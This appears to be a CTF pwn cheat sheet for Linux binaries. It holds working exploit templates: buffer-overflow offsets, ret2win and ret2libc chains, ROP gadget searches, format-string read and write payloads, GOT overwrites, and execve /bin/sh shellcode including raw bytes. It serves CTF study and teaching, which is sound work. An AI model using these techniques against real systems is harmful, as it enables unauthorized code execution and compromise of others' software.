checksec — know your mitigations
checksec ./challenge
# Output example:
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found ← easier BOF
# NX: NX enabled ← no shellcode on stack
# PIE: No PIE ← fixed addresses
# RUNPATH: ./
# No canary + No PIE + No NX → classic ret2win
# No canary + No PIE + NX → ROP chain
# PIE enabled → need leak first
# Full RELRO → can't overwrite GOT
Find offset to return address
# Generate cyclic pattern (pwndbg / pwntools)
cyclic 200
# Run program with pattern, crash it
# pwndbg shows: "SIGSEGV: Invalid address 0x6161616e"
cyclic -l 0x6161616e # → offset = N
# Or: use GDB + pwntools
python3 -c "
from pwn import cyclic, cyclic_find
payload = cyclic(200)
# run, get crash address, then:
print(cyclic_find(0x6161616e))
"
# Manual: fill with A's until crash, binary search
python3 -c "print('A'*200)" | ./challenge
seccomp-tools — is execve blocked?
# Dump the syscall filter (BPF) of a sandboxed chal
seccomp-tools dump ./chal
# Shows the seccomp policy: if execve (59) is
# KILL/ERRNO → no shell. Fall back to ORW:
# open(flag) → read → write(1) (see ROP §03).
# Attach to a running/forking service:
# seccomp-tools dump -p $(pidof chal)
ret2win (no NX, no PIE)
# Find win/flag function address
nm challenge | grep "win\|flag\|shell"
objdump -d challenge | grep -A2 "<win>"
# No explicit win()? A "dump status / print info / enroll"
# function that leaks a secret IS your ret2win — no libc
# leak needed. Widen the grep:
nm challenge | grep -Ei "dump|status|print|info|admin|debug"
# Build payload
python3 -c "
from pwn import *
offset = 40 # from cyclic_find
win_addr = 0x401234 # from nm/objdump
payload = b'A' * offset
payload += p64(win_addr) # 64-bit
# payload += p32(win_addr) # 32-bit
p = process('./challenge')
p.sendline(payload)
p.interactive()
"
ret2libc (NX enabled)
# Need: libc base, system(), /bin/sh string
# Step 1: leak libc address via puts(got[puts])
# Step 2: calculate libc base
# Step 3: call system("/bin/sh")
python3 -c "
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6') # or find version
rop = ROP(elf)
# Leak step
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = b'A' * offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main) # return to main for round 2
p = process('./challenge')
p.sendline(payload)
p.recvuntil(b'\n')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
# Round 2: send system('/bin/sh')
"
Find gadgets
# ROPgadget
ROPgadget --binary challenge
ROPgadget --binary challenge --rop
ROPgadget --binary challenge | grep "pop rdi"
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
# ropper
ropper -f challenge
ropper -f challenge --search "pop rdi"
# pwntools ROP (auto-chain)
python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())
print(rop.chain())
"
Common gadgets needed
| Gadget | Purpose |
| pop rdi ; ret | Set arg1 (x86-64 calling convention) |
| pop rsi ; ret | Set arg2 |
| pop rdx ; ret | Set arg3 |
| ret | Stack alignment (needed before system()) |
| pop rbp ; ret | Leave/enter stack frame |
| syscall | For raw syscall ROP chains |
| mov [rdi], rsi | Write memory |
# x86-64 syscall numbers
# 0 = read, 1 = write
# 2 = open, 59 = execve
# execve("/bin/sh",0,0): rax=59, rdi=ptr, rsi=0, rdx=0
one_gadget — one-jump shell
# When you have a libc leak, skip the ret2libc
# chain: one_gadget = execve('/bin/sh') in a
# single address.
one_gadget ./libc.so.6
# Prints offsets + register/stack CONSTRAINTS,
# e.g. [rsp+0x50] == NULL. Pick one whose
# constraints hold at your control point:
# ret_addr = libc_base + og_offset
Read & write primitives
# Detect: program echoes your input
# Input: "%x %x %x" → prints stack values → vulnerable
# Leak stack values (find offset to canary/addr)
%1$p %2$p %3$p %4$p ... # direct arg access
AAAA.%p.%p.%p.%p.%p.%p # find offset of 0x41414141
# Leak specific offset (e.g. canary at offset 11)
%11$p
# Arbitrary read (leak address at ptr)
python3 -c "
from pwn import *
payload = p64(target_addr) + b'%8$s' # 32: p32 + %7$s
"
# Arbitrary write — %n writes count of chars printed
# Write 0x41 to address: print 0x41 chars, then %n
python3 -c "
from pwn import *
# fmtstr_payload(offset, {addr: value})
payload = fmtstr_payload(6, {target: 0x1337})
"
Overwrite GOT / return address
# Classic: overwrite GOT entry of printf → system
# Then next printf("/bin/sh") calls system
python3 -c "
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6') # for system addr
# Get addresses
printf_got = elf.got['printf']
system_addr = libc.sym['system'] # after leak
# Write system addr over printf GOT
payload = fmtstr_payload(offset, {printf_got: system_addr})
"
# Find format string offset quickly
python3 -c "
from pwn import *
p = process('./challenge')
for i in range(1, 30):
p.sendline(f'AAAA.%{i}\$x'.encode())
r = p.recvline()
if b'41414141' in r:
print(f'offset = {i}')
break
"
Generate shellcode
# pwntools shellcraft
python3 -c "
from pwn import *
context(arch='amd64', os='linux')
sc = shellcraft.sh() # /bin/sh
sc = shellcraft.cat('/flag') # read file
print(asm(sc).hex())
"
# msfvenom
msfvenom -p linux/x64/exec CMD=/bin/sh -f raw > sc.bin
msfvenom -p linux/x64/exec CMD="cat /flag" -f python
# Manual x86-64 execve /bin/sh
python3 -c "
sc = (
b'\x48\x31\xf6' # xor rsi, rsi
b'\x56' # push rsi
b'\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68' # mov rdi,'/bin//sh'
b'\x57' # push rdi
b'\x54\x5f' # push rsp; pop rdi
b'\x6a\x3b\x58' # push 59; pop rax
b'\x99' # cdq (rdx=0)
b'\x0f\x05' # syscall
)
print(sc.hex())
"
Shellcode constraints
| Constraint | Bypass |
| No null bytes | Use XOR reg,reg instead of mov reg,0 |
| Alphanumeric only | Encoder (metasploit alpha_mixed) |
| Limited length | Stage 2: read() more shellcode |
| No NX (writable+exec) | JIT spray, mprotect trick |
| Filtered chars | Polymorphic encoding |
# Check shellcode for bad bytes
python3 -c "
sc = bytes.fromhex('...')
bad = [b for b in sc if b == 0]
print('null bytes at:', [i for i,b in enumerate(sc) if b==0])
"
Core API
from pwn import *
# Process / remote
p = process('./challenge')
p = remote('host', 1337)
# Send
p.send(payload) # no newline
p.sendline(payload) # adds \n
p.sendafter(b'> ', data)
# Receive
p.recv(n) # n bytes
p.recvline() # until \n
p.recvuntil(b'> ') # until string
p.recvall() # all output
p.interactive() # manual shell
# Pack integers
p64(0xdeadbeef) # little-endian 64-bit
p32(0xdeadbeef) # 32-bit
u64(b'\xef\xbe\xad...') # unpack
ELF, ROP, libc
# ELF introspection
elf = ELF('./challenge')
elf.sym['main'] # symbol address
elf.plt['puts'] # PLT entry
elf.got['puts'] # GOT entry
elf.search(b'/bin/sh') # find bytes
next(elf.search(b'/bin/sh'))
# ROP
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])[0]
rop.call('puts', [elf.got['puts']])
rop.chain() # bytes
# libc database
context.binary = elf
libc = ELF('./libc.so.6')
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
GDB integration
# Attach gdb on process start
p = gdb.debug('./challenge', '''
break main
continue
''')
# Attach to running process
gdb.attach(p, 'break *0x401234')
# Context settings
context.log_level = 'debug' # verbose
context.arch = 'amd64'
context.os = 'linux'
# libc version finder
# https://libc.rip — paste leaked addresses
PWN CHECKLIST →
① checksec — know mitigations
② file + strings — architecture + interesting strings
③ Find overflow offset: cyclic 200 → crash → cyclic -l addr
④ No PIE + No canary + No NX → ret2win
⑤ NX enabled → ROP: find pop rdi ; ret, build chain
⑥ PIE → need leak → format string or info leak gadget
⑦ %p.%p.%p → format string → leak stack → fmtstr_payload write GOT
⑧ Use libc.rip to identify libc version from leaked addresses